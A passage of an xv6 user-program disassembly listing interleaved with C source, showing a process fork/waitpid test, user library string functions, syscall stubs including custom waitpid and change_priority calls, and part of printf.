int wpid = waitpid(begin+5,&status,0);
101: 8b 44 24 14 mov 0x14(%esp),%eax
105: 8d 50 05 lea 0x5(%eax),%edx
108: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
10f: 00
110: 8d 44 24 10 lea 0x10(%esp),%eax
114: 89 44 24 04 mov %eax,0x4(%esp)
118: 89 14 24 mov %edx,(%esp)
11b: e8 3c 03 00 00 call 45c <waitpid>
120: 89 44 24 28 mov %eax,0x28(%esp)
printf(1,"success clean %d, status is %d\n",wpid,status);
124: 8b 44 24 10 mov 0x10(%esp),%eax
128: 89 44 24 0c mov %eax,0xc(%esp)
12c: 8b 44 24 28 mov 0x28(%esp),%eax
130: 89 44 24 08 mov %eax,0x8(%esp)
134: c7 44 24 04 d4 09 00 movl $0x9d4,0x4(%esp)
13b: 00
13c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
143: e8 95 04 00 00 call 5dd <printf>
}
if(getpid() == begin+5){
148: e8 87 03 00 00 call 4d4 <getpid>
14d: 8b 54 24 14 mov 0x14(%esp),%edx
151: 83 c2 05 add $0x5,%edx
154: 39 d0 cmp %edx,%eax
156: 75 0c jne 164 <main+0x164>
exit(5);
158: c7 04 24 05 00 00 00 movl $0x5,(%esp)
15f: e8 e8 02 00 00 call 44c <exit>
}
exit(0);
164: c7 04 24 00 00 00 00 movl $0x0,(%esp)
16b: e8 dc 02 00 00 call 44c <exit>
}
}else if(pid == 0){
170: 83 7c 24 18 00 cmpl $0x0,0x18(%esp)
175: 75 28 jne 19f <main+0x19f>
int j = 0;
177: c7 44 24 2c 00 00 00 movl $0x0,0x2c(%esp)
17e: 00
while(j++ < 1000);
17f: 81 7c 24 2c e7 03 00 cmpl $0x3e7,0x2c(%esp)
186: 00
187: 0f 9e c0 setle %al
18a: 83 44 24 2c 01 addl $0x1,0x2c(%esp)
18f: 84 c0 test %al,%al
191: 75 ec jne 17f <main+0x17f>
exit(0);
193: c7 04 24 00 00 00 00 movl $0x0,(%esp)
19a: e8 ad 02 00 00 call 44c <exit>
}
int going = 1;
19f: c7 44 24 20 01 00 00 movl $0x1,0x20(%esp)
1a6: 00
while(going >= 0){
1a7: eb 2c jmp 1d5 <main+0x1d5>
going = wait(&status);
1a9: 8d 44 24 10 lea 0x10(%esp),%eax
1ad: 89 04 24 mov %eax,(%esp)
1b0: e8 9f 02 00 00 call 454 <wait>
1b5: 89 44 24 20 mov %eax,0x20(%esp)
printf(1,"kill %d\n",going);
1b9: 8b 44 24 20 mov 0x20(%esp),%eax
1bd: 89 44 24 08 mov %eax,0x8(%esp)
1c1: c7 44 24 04 f4 09 00 movl $0x9f4,0x4(%esp)
1c8: 00
1c9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d0: e8 08 04 00 00 call 5dd <printf>
int j = 0;
while(j++ < 1000);
exit(0);
}
int going = 1;
while(going >= 0){
1d5: 83 7c 24 20 00 cmpl $0x0,0x20(%esp)
1da: 79 cd jns 1a9 <main+0x1a9>
going = wait(&status);
printf(1,"kill %d\n",going);
}
exit(0);
1dc: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1e3: e8 64 02 00 00 call 44c <exit>
000001e8 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
1e8: 55 push %ebp
1e9: 89 e5 mov %esp,%ebp
1eb: 57 push %edi
1ec: 53 push %ebx
asm volatile("cld; rep stosb" :
1ed: 8b 4d 08 mov 0x8(%ebp),%ecx
1f0: 8b 55 10 mov 0x10(%ebp),%edx
1f3: 8b 45 0c mov 0xc(%ebp),%eax
1f6: 89 cb mov %ecx,%ebx
1f8: 89 df mov %ebx,%edi
1fa: 89 d1 mov %edx,%ecx
1fc: fc cld
1fd: f3 aa rep stos %al,%es:(%edi)
1ff: 89 ca mov %ecx,%edx
201: 89 fb mov %edi,%ebx
203: 89 5d 08 mov %ebx,0x8(%ebp)
206: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
209: 5b pop %ebx
20a: 5f pop %edi
20b: 5d pop %ebp
20c: c3 ret
0000020d <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
20d: 55 push %ebp
20e: 89 e5 mov %esp,%ebp
210: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
213: 8b 45 08 mov 0x8(%ebp),%eax
216: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
219: 8b 45 0c mov 0xc(%ebp),%eax
21c: 0f b6 10 movzbl (%eax),%edx
21f: 8b 45 08 mov 0x8(%ebp),%eax
222: 88 10 mov %dl,(%eax)
224: 8b 45 08 mov 0x8(%ebp),%eax
227: 0f b6 00 movzbl (%eax),%eax
22a: 84 c0 test %al,%al
22c: 0f 95 c0 setne %al
22f: 83 45 08 01 addl $0x1,0x8(%ebp)
233: 83 45 0c 01 addl $0x1,0xc(%ebp)
237: 84 c0 test %al,%al
239: 75 de jne 219 <strcpy+0xc>
;
return os;
23b: 8b 45 fc mov -0x4(%ebp),%eax
}
23e: c9 leave
23f: c3 ret
00000240 <strcmp>:
int
strcmp(const char *p, const char *q)
{
240: 55 push %ebp
241: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
243: eb 08 jmp 24d <strcmp+0xd>
p++, q++;
245: 83 45 08 01 addl $0x1,0x8(%ebp)
249: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
24d: 8b 45 08 mov 0x8(%ebp),%eax
250: 0f b6 00 movzbl (%eax),%eax
253: 84 c0 test %al,%al
255: 74 10 je 267 <strcmp+0x27>
257: 8b 45 08 mov 0x8(%ebp),%eax
25a: 0f b6 10 movzbl (%eax),%edx
25d: 8b 45 0c mov 0xc(%ebp),%eax
260: 0f b6 00 movzbl (%eax),%eax
263: 38 c2 cmp %al,%dl
265: 74 de je 245 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
267: 8b 45 08 mov 0x8(%ebp),%eax
26a: 0f b6 00 movzbl (%eax),%eax
26d: 0f b6 d0 movzbl %al,%edx
270: 8b 45 0c mov 0xc(%ebp),%eax
273: 0f b6 00 movzbl (%eax),%eax
276: 0f b6 c0 movzbl %al,%eax
279: 89 d1 mov %edx,%ecx
27b: 29 c1 sub %eax,%ecx
27d: 89 c8 mov %ecx,%eax
}
27f: 5d pop %ebp
280: c3 ret
00000281 <strlen>:
uint
strlen(char *s)
{
281: 55 push %ebp
282: 89 e5 mov %esp,%ebp
284: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
287: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
28e: eb 04 jmp 294 <strlen+0x13>
290: 83 45 fc 01 addl $0x1,-0x4(%ebp)
294: 8b 45 fc mov -0x4(%ebp),%eax
297: 03 45 08 add 0x8(%ebp),%eax
29a: 0f b6 00 movzbl (%eax),%eax
29d: 84 c0 test %al,%al
29f: 75 ef jne 290 <strlen+0xf>
;
return n;
2a1: 8b 45 fc mov -0x4(%ebp),%eax
}
2a4: c9 leave
2a5: c3 ret
000002a6 <memset>:
void*
memset(void *dst, int c, uint n)
{
2a6: 55 push %ebp
2a7: 89 e5 mov %esp,%ebp
2a9: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
2ac: 8b 45 10 mov 0x10(%ebp),%eax
2af: 89 44 24 08 mov %eax,0x8(%esp)
2b3: 8b 45 0c mov 0xc(%ebp),%eax
2b6: 89 44 24 04 mov %eax,0x4(%esp)
2ba: 8b 45 08 mov 0x8(%ebp),%eax
2bd: 89 04 24 mov %eax,(%esp)
2c0: e8 23 ff ff ff call 1e8 <stosb>
return dst;
2c5: 8b 45 08 mov 0x8(%ebp),%eax
}
2c8: c9 leave
2c9: c3 ret
000002ca <strchr>:
char*
strchr(const char *s, char c)
{
2ca: 55 push %ebp
2cb: 89 e5 mov %esp,%ebp
2cd: 83 ec 04 sub $0x4,%esp
2d0: 8b 45 0c mov 0xc(%ebp),%eax
2d3: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
2d6: eb 14 jmp 2ec <strchr+0x22>
if(*s == c)
2d8: 8b 45 08 mov 0x8(%ebp),%eax
2db: 0f b6 00 movzbl (%eax),%eax
2de: 3a 45 fc cmp -0x4(%ebp),%al
2e1: 75 05 jne 2e8 <strchr+0x1e>
return (char*)s;
2e3: 8b 45 08 mov 0x8(%ebp),%eax
2e6: eb 13 jmp 2fb <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
2e8: 83 45 08 01 addl $0x1,0x8(%ebp)
2ec: 8b 45 08 mov 0x8(%ebp),%eax
2ef: 0f b6 00 movzbl (%eax),%eax
2f2: 84 c0 test %al,%al
2f4: 75 e2 jne 2d8 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
2f6: b8 00 00 00 00 mov $0x0,%eax
}
2fb: c9 leave
2fc: c3 ret
000002fd <gets>:
char*
gets(char *buf, int max)
{
2fd: 55 push %ebp
2fe: 89 e5 mov %esp,%ebp
300: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
303: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
30a: eb 44 jmp 350 <gets+0x53>
cc = read(0, &c, 1);
30c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
313: 00
314: 8d 45 ef lea -0x11(%ebp),%eax
317: 89 44 24 04 mov %eax,0x4(%esp)
31b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
322: e8 45 01 00 00 call 46c <read>
327: 89 45 f4 mov %eax,-0xc(%ebp)
if(cc < 1)
32a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
32e: 7e 2d jle 35d <gets+0x60>
break;
buf[i++] = c;
330: 8b 45 f0 mov -0x10(%ebp),%eax
333: 03 45 08 add 0x8(%ebp),%eax
336: 0f b6 55 ef movzbl -0x11(%ebp),%edx
33a: 88 10 mov %dl,(%eax)
33c: 83 45 f0 01 addl $0x1,-0x10(%ebp)
if(c == '\n' || c == '\r')
340: 0f b6 45 ef movzbl -0x11(%ebp),%eax
344: 3c 0a cmp $0xa,%al
346: 74 16 je 35e <gets+0x61>
348: 0f b6 45 ef movzbl -0x11(%ebp),%eax
34c: 3c 0d cmp $0xd,%al
34e: 74 0e je 35e <gets+0x61>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
350: 8b 45 f0 mov -0x10(%ebp),%eax
353: 83 c0 01 add $0x1,%eax
356: 3b 45 0c cmp 0xc(%ebp),%eax
359: 7c b1 jl 30c <gets+0xf>
35b: eb 01 jmp 35e <gets+0x61>
cc = read(0, &c, 1);
if(cc < 1)
break;
35d: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
35e: 8b 45 f0 mov -0x10(%ebp),%eax
361: 03 45 08 add 0x8(%ebp),%eax
364: c6 00 00 movb $0x0,(%eax)
return buf;
367: 8b 45 08 mov 0x8(%ebp),%eax
}
36a: c9 leave
36b: c3 ret
0000036c <stat>:
int
stat(char *n, struct stat *st)
{
36c: 55 push %ebp
36d: 89 e5 mov %esp,%ebp
36f: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
372: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
379: 00
37a: 8b 45 08 mov 0x8(%ebp),%eax
37d: 89 04 24 mov %eax,(%esp)
380: e8 0f 01 00 00 call 494 <open>
385: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd < 0)
388: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
38c: 79 07 jns 395 <stat+0x29>
return -1;
38e: b8 ff ff ff ff mov $0xffffffff,%eax
393: eb 23 jmp 3b8 <stat+0x4c>
r = fstat(fd, st);
395: 8b 45 0c mov 0xc(%ebp),%eax
398: 89 44 24 04 mov %eax,0x4(%esp)
39c: 8b 45 f0 mov -0x10(%ebp),%eax
39f: 89 04 24 mov %eax,(%esp)
3a2: e8 05 01 00 00 call 4ac <fstat>
3a7: 89 45 f4 mov %eax,-0xc(%ebp)
close(fd);
3aa: 8b 45 f0 mov -0x10(%ebp),%eax
3ad: 89 04 24 mov %eax,(%esp)
3b0: e8 c7 00 00 00 call 47c <close>
return r;
3b5: 8b 45 f4 mov -0xc(%ebp),%eax
}
3b8: c9 leave
3b9: c3 ret
000003ba <atoi>:
int
atoi(const char *s)
{
3ba: 55 push %ebp
3bb: 89 e5 mov %esp,%ebp
3bd: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
3c0: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
3c7: eb 24 jmp 3ed <atoi+0x33>
n = n*10 + *s++ - '0';
3c9: 8b 55 fc mov -0x4(%ebp),%edx
3cc: 89 d0 mov %edx,%eax
3ce: c1 e0 02 shl $0x2,%eax
3d1: 01 d0 add %edx,%eax
3d3: 01 c0 add %eax,%eax
3d5: 89 c2 mov %eax,%edx
3d7: 8b 45 08 mov 0x8(%ebp),%eax
3da: 0f b6 00 movzbl (%eax),%eax
3dd: 0f be c0 movsbl %al,%eax
3e0: 8d 04 02 lea (%edx,%eax,1),%eax
3e3: 83 e8 30 sub $0x30,%eax
3e6: 89 45 fc mov %eax,-0x4(%ebp)
3e9: 83 45 08 01 addl $0x1,0x8(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
3ed: 8b 45 08 mov 0x8(%ebp),%eax
3f0: 0f b6 00 movzbl (%eax),%eax
3f3: 3c 2f cmp $0x2f,%al
3f5: 7e 0a jle 401 <atoi+0x47>
3f7: 8b 45 08 mov 0x8(%ebp),%eax
3fa: 0f b6 00 movzbl (%eax),%eax
3fd: 3c 39 cmp $0x39,%al
3ff: 7e c8 jle 3c9 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
401: 8b 45 fc mov -0x4(%ebp),%eax
}
404: c9 leave
405: c3 ret
00000406 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
406: 55 push %ebp
407: 89 e5 mov %esp,%ebp
409: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
40c: 8b 45 08 mov 0x8(%ebp),%eax
40f: 89 45 f8 mov %eax,-0x8(%ebp)
src = vsrc;
412: 8b 45 0c mov 0xc(%ebp),%eax
415: 89 45 fc mov %eax,-0x4(%ebp)
while(n-- > 0)
418: eb 13 jmp 42d <memmove+0x27>
*dst++ = *src++;
41a: 8b 45 fc mov -0x4(%ebp),%eax
41d: 0f b6 10 movzbl (%eax),%edx
420: 8b 45 f8 mov -0x8(%ebp),%eax
423: 88 10 mov %dl,(%eax)
425: 83 45 f8 01 addl $0x1,-0x8(%ebp)
429: 83 45 fc 01 addl $0x1,-0x4(%ebp)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
42d: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
431: 0f 9f c0 setg %al
434: 83 6d 10 01 subl $0x1,0x10(%ebp)
438: 84 c0 test %al,%al
43a: 75 de jne 41a <memmove+0x14>
*dst++ = *src++;
return vdst;
43c: 8b 45 08 mov 0x8(%ebp),%eax
}
43f: c9 leave
440: c3 ret
441: 90 nop
442: 90 nop
443: 90 nop
00000444 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
444: b8 01 00 00 00 mov $0x1,%eax
449: cd 40 int $0x40
44b: c3 ret
0000044c <exit>:
SYSCALL(exit)
44c: b8 02 00 00 00 mov $0x2,%eax
451: cd 40 int $0x40
453: c3 ret
00000454 <wait>:
SYSCALL(wait)
454: b8 03 00 00 00 mov $0x3,%eax
459: cd 40 int $0x40
45b: c3 ret
0000045c <waitpid>:
SYSCALL(waitpid)
45c: b8 17 00 00 00 mov $0x17,%eax
461: cd 40 int $0x40
463: c3 ret
00000464 <pipe>:
SYSCALL(pipe)
464: b8 04 00 00 00 mov $0x4,%eax
469: cd 40 int $0x40
46b: c3 ret
0000046c <read>:
SYSCALL(read)
46c: b8 05 00 00 00 mov $0x5,%eax
471: cd 40 int $0x40
473: c3 ret
00000474 <write>:
SYSCALL(write)
474: b8 10 00 00 00 mov $0x10,%eax
479: cd 40 int $0x40
47b: c3 ret
0000047c <close>:
SYSCALL(close)
47c: b8 15 00 00 00 mov $0x15,%eax
481: cd 40 int $0x40
483: c3 ret
00000484 <kill>:
SYSCALL(kill)
484: b8 06 00 00 00 mov $0x6,%eax
489: cd 40 int $0x40
48b: c3 ret
0000048c <exec>:
SYSCALL(exec)
48c: b8 07 00 00 00 mov $0x7,%eax
491: cd 40 int $0x40
493: c3 ret
00000494 <open>:
SYSCALL(open)
494: b8 0f 00 00 00 mov $0xf,%eax
499: cd 40 int $0x40
49b: c3 ret
0000049c <mknod>:
SYSCALL(mknod)
49c: b8 11 00 00 00 mov $0x11,%eax
4a1: cd 40 int $0x40
4a3: c3 ret
000004a4 <unlink>:
SYSCALL(unlink)
4a4: b8 12 00 00 00 mov $0x12,%eax
4a9: cd 40 int $0x40
4ab: c3 ret
000004ac <fstat>:
SYSCALL(fstat)
4ac: b8 08 00 00 00 mov $0x8,%eax
4b1: cd 40 int $0x40
4b3: c3 ret
000004b4 <link>:
SYSCALL(link)
4b4: b8 13 00 00 00 mov $0x13,%eax
4b9: cd 40 int $0x40
4bb: c3 ret
000004bc <mkdir>:
SYSCALL(mkdir)
4bc: b8 14 00 00 00 mov $0x14,%eax
4c1: cd 40 int $0x40
4c3: c3 ret
000004c4 <chdir>:
SYSCALL(chdir)
4c4: b8 09 00 00 00 mov $0x9,%eax
4c9: cd 40 int $0x40
4cb: c3 ret
000004cc <dup>:
SYSCALL(dup)
4cc: b8 0a 00 00 00 mov $0xa,%eax
4d1: cd 40 int $0x40
4d3: c3 ret
000004d4 <getpid>:
SYSCALL(getpid)
4d4: b8 0b 00 00 00 mov $0xb,%eax
4d9: cd 40 int $0x40
4db: c3 ret
000004dc <sbrk>:
SYSCALL(sbrk)
4dc: b8 0c 00 00 00 mov $0xc,%eax
4e1: cd 40 int $0x40
4e3: c3 ret
000004e4 <sleep>:
SYSCALL(sleep)
4e4: b8 0d 00 00 00 mov $0xd,%eax
4e9: cd 40 int $0x40
4eb: c3 ret
000004ec <uptime>:
SYSCALL(uptime)
4ec: b8 0e 00 00 00 mov $0xe,%eax
4f1: cd 40 int $0x40
4f3: c3 ret
000004f4 <count>:
SYSCALL(count)
4f4: b8 16 00 00 00 mov $0x16,%eax
4f9: cd 40 int $0x40
4fb: c3 ret
000004fc <change_priority>:
SYSCALL(change_priority)
4fc: b8 18 00 00 00 mov $0x18,%eax
501: cd 40 int $0x40
503: c3 ret
00000504 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
504: 55 push %ebp
505: 89 e5 mov %esp,%ebp
507: 83 ec 28 sub $0x28,%esp
50a: 8b 45 0c mov 0xc(%ebp),%eax
50d: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
510: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
517: 00
518: 8d 45 f4 lea -0xc(%ebp),%eax
51b: 89 44 24 04 mov %eax,0x4(%esp)
51f: 8b 45 08 mov 0x8(%ebp),%eax
522: 89 04 24 mov %eax,(%esp)
525: e8 4a ff ff ff call 474 <write>
}
52a: c9 leave
52b: c3 ret
0000052c <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
52c: 55 push %ebp
52d: 89 e5 mov %esp,%ebp
52f: 53 push %ebx
530: 83 ec 44 sub $0x44,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
533: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
53a: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
53e: 74 17 je 557 <printint+0x2b>
540: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
544: 79 11 jns 557 <printint+0x2b>
neg = 1;
546: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
54d: 8b 45 0c mov 0xc(%ebp),%eax
550: f7 d8 neg %eax
552: 89 45 f4 mov %eax,-0xc(%ebp)
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
555: eb 06 jmp 55d <printint+0x31>
neg = 1;
x = -xx;
} else {
x = xx;
557: 8b 45 0c mov 0xc(%ebp),%eax
55a: 89 45 f4 mov %eax,-0xc(%ebp)
}
i = 0;
55d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
do{
buf[i++] = digits[x % base];
564: 8b 4d ec mov -0x14(%ebp),%ecx
567: 8b 5d 10 mov 0x10(%ebp),%ebx
56a: 8b 45 f4 mov -0xc(%ebp),%eax
56d: ba 00 00 00 00 mov $0x0,%edx
572: f7 f3 div %ebx
574: 89 d0 mov %edx,%eax
576: 0f b6 80 04 0a 00 00 movzbl 0xa04(%eax),%eax
57d: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
581: 83 45 ec 01 addl $0x1,-0x14(%ebp)
}while((x /= base) != 0);
585: 8b 45 10 mov 0x10(%ebp),%eax
588: 89 45 d4 mov %eax,-0x2c(%ebp)
58b: 8b 45 f4 mov -0xc(%ebp),%eax
58e: ba 00 00 00 00 mov $0x0,%edx
593: f7 75 d4 divl -0x2c(%ebp)
596: 89 45 f4 mov %eax,-0xc(%ebp)
599: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
59d: 75 c5 jne 564 <printint+0x38>
if(neg)
59f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
5a3: 74 28 je 5cd <printint+0xa1>
buf[i++] = '-';
5a5: 8b 45 ec mov -0x14(%ebp),%eax
5a8: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
5ad: 83 45 ec 01 addl $0x1,-0x14(%ebp)
while(--i >= 0)
5b1: eb 1a jmp 5cd <printint+0xa1>
putc(fd, buf[i]);
5b3: 8b 45 ec mov -0x14(%ebp),%eax
5b6: 0f b6 44 05 dc movzbl -0x24(%ebp,%eax,1),%eax
5bb: 0f be c0 movsbl %al,%eax
5be: 89 44 24 04 mov %eax,0x4(%esp)
5c2: 8b 45 08 mov 0x8(%ebp),%eax
5c5: 89 04 24 mov %eax,(%esp)
5c8: e8 37 ff ff ff call 504 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
5cd: 83 6d ec 01 subl $0x1,-0x14(%ebp)
5d1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
5d5: 79 dc jns 5b3 <printint+0x87>
putc(fd, buf[i]);
}
5d7: 83 c4 44 add $0x44,%esp
5da: 5b pop %ebx
5db: 5d pop %ebp
5dc: c3 ret
000005dd <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
5dd: 55 push %ebp
5de: 89 e5 mov %esp,%ebp
5e0: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
5e3: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
ap = (uint*)(void*)&fmt + 1;
5ea: 8d 45 0c lea 0xc(%ebp),%eax
5ed: 83 c0 04 add $0x4,%eax
5f0: 89 45 f4 mov %eax,-0xc(%ebp)
for(i = 0; fmt[i]; i++){
5f3: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
5fa: e9 7e 01 00 00 jmp 77d <printf+0x1a0>
c = fmt[i] & 0xff;
5ff: 8b 55 0c mov 0xc(%ebp),%edx
602: 8b 45 ec mov -0x14(%ebp),%eax
605: 8d 04 02 lea (%edx,%eax,1),%eax
608: 0f b6 00 movzbl (%eax),%eax
60b: 0f be c0 movsbl %al,%eax
60e: 25 ff 00 00 00 and $0xff,%eax
613: 89 45 e8 mov %eax,-0x18(%ebp)
if(state == 0){
616: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
61a: 75 2c jne 648 <printf+0x6b>
if(c == '%'){
61c: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
620: 75 0c jne 62e <printf+0x51>
state = '%';
622: c7 45 f0 25 00 00 00 movl $0x25,-0x10(%ebp)
629: e9 4b 01 00 00 jmp 779 <printf+0x19c>
} else {
putc(fd, c);
62e: 8b 45 e8 mov -0x18(%ebp),%eax
631: 0f be c0 movsbl %al,%eax
634: 89 44 24 04 mov %eax,0x4(%esp)
638: 8b 45 08 mov 0x8(%ebp),%eax
63b: 89 04 24 mov %eax,(%esp)
63e: e8 c1 fe ff ff call 504 <putc>
643: e9 31 01 00 00 jmp 779 <printf+0x19c>
}
} else if(state == '%'){
648: 83 7d f0 25 cmpl $0x25,-0x10(%ebp)
64c: 0f 85 27 01 00 00 jne 779 <printf+0x19c>
if(c == 'd'){
652: 83 7d e8 64 cmpl $0x64,-0x18(%ebp)
656: 75 2d jne 685 <printf+0xa8>
printint(fd, *ap, 10, 1);
658: 8b 45 f4 mov -0xc(%ebp),%eax
65b: 8b 00 mov (%eax),%eax
65d: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
664: 00
665: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
66c: 00
66d: 89 44 24 04 mov %eax,0x4(%esp)
671: 8b 45 08 mov 0x8(%ebp),%eax
674: 89 04 24 mov %eax,(%esp)
677: e8 b0 fe ff ff call 52c <printint>
ap++;
67c: 83 45 f4 04 addl $0x4,-0xc(%ebp)
680: e9 ed 00 00 00 jmp 772 <printf+0x195>
} else if(c == 'x' || c == 'p'){
685: 83 7d e8 78 cmpl $0x78,-0x18(%ebp)
689: 74 06 je 691 <printf+0xb4>
68b: 83 7d e8 70 cmpl $0x70,-0x18(%ebp)
68f: 75 2d jne 6be <printf+0xe1>
printint(fd, *ap, 16, 0);
691: 8b 45 f4 mov -0xc(%ebp),%eax
694: 8b 00 mov (%eax),%eax
696: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
69d: 00
69e: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
6a5: 00
6a6: 89 44 24 04 mov %eax,0x4(%esp)
6aa: 8b 45 08 mov 0x8(%ebp),%eax
6ad: 89 04 24 mov %eax,(%esp)
6b0: e8 77 fe ff ff call 52c <printint>
ap++;
6b5: 83 45 f4 04 addl $0x4,-0xc(%ebp)
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
6b9: e9 b4 00 00 00 jmp 772 <printf+0x195>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
6be: 83 7d e8 73 cmpl $0x73,-0x18(%ebp)
6c2: 75 46 jne 70a <printf+0x12d>
s = (char*)*ap;
6c4: 8b 45 f4 mov -0xc(%ebp),%eax
6c7: 8b 00 mov (%eax),%eax
6c9: 89 45 e4 mov %eax,-0x1c(%ebp)
ap++;
6cc: 83 45 f4 04 addl $0x4,-0xc(%ebp)
if(s == 0)
6d0: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
6d4: 75 27 jne 6fd <printf+0x120>
s = "(null)";
6d6: c7 45 e4 fd 09 00 00 movl $0x9fd,-0x1c(%ebp)
while(*s != 0){
6dd: eb 1f jmp 6fe <printf+0x121>
putc(fd, *s);
6df: 8b 45 e4 mov -0x1c(%ebp),%eax
6e2: 0f b6 00 movzbl (%eax),%eax
6e5: 0f be c0 movsbl %al,%eax
6e8: 89 44 24 04 mov %eax,0x4(%esp)
6ec: 8b 45 08 mov 0x8(%ebp),%eax
6ef: 89 04 24 mov %eax,(%esp)
6f2: e8 0d fe ff ff call 504 <putc>
s++;
6f7: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
6fb: eb 01 jmp 6fe <printf+0x121>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
6fd: 90 nop
6fe: 8b 45 e4 mov -0x1c(%ebp),%eax
701: 0f b6 00 movzbl (%eax),%eax
704: 84 c0 test %al,%al
706: 75 d7 jne 6df <printf+0x102>
708: eb 68 jmp 772 <printf+0x195>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
70a: 83 7d e8 63 cmpl $0x63,-0x18(%ebp)
70e: 75 1d jne 72d <printf+0x150>
putc(fd, *ap);
710: 8b 45 f4 mov -0xc(%ebp),%eax
713: 8b 00 mov (%eax),%eax
715: 0f be c0 movsbl %al,%eax
718: 89 44 24 04 mov %eax,0x4(%esp)
71c: 8b 45 08 mov 0x8(%ebp),%eax
71f: 89 04 24 mov %eax,(%esp)
722: e8 dd fd ff ff call 504 <putc>
ap++;
727: 83 45 f4 04 addl $0x4,-0xc(%ebp)
72b: eb 45 jmp 772 <printf+0x195>
} else if(c == '%'){
72d: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
731: 75 17 jne 74a <printf+0x16d>
putc(fd, c);
733: 8b 45 e8 mov -0x18(%ebp),%eax
736: 0f be c0 movsbl %al,%eax
739: 89 44 24 04 mov %eax,0x4(%esp)
73d: 8b 45 08 mov 0x8(%ebp),%eax
740: 89 04 24 mov %eax,(%esp)
743: e8 bc fd ff ff call 504 <putc>
748: eb 28 jmp 772 <printf+0x195>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
74a: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
751: 00
752: 8b 45 08 mov 0x8(%ebp),%eax
755: 89 04 24 mov %eax,(%esp)
758: e8 a7 fd ff ff call 504 <putc>
putc(fd, c);
75d: 8b 45 e8 mov -0x18(%ebp),%eax
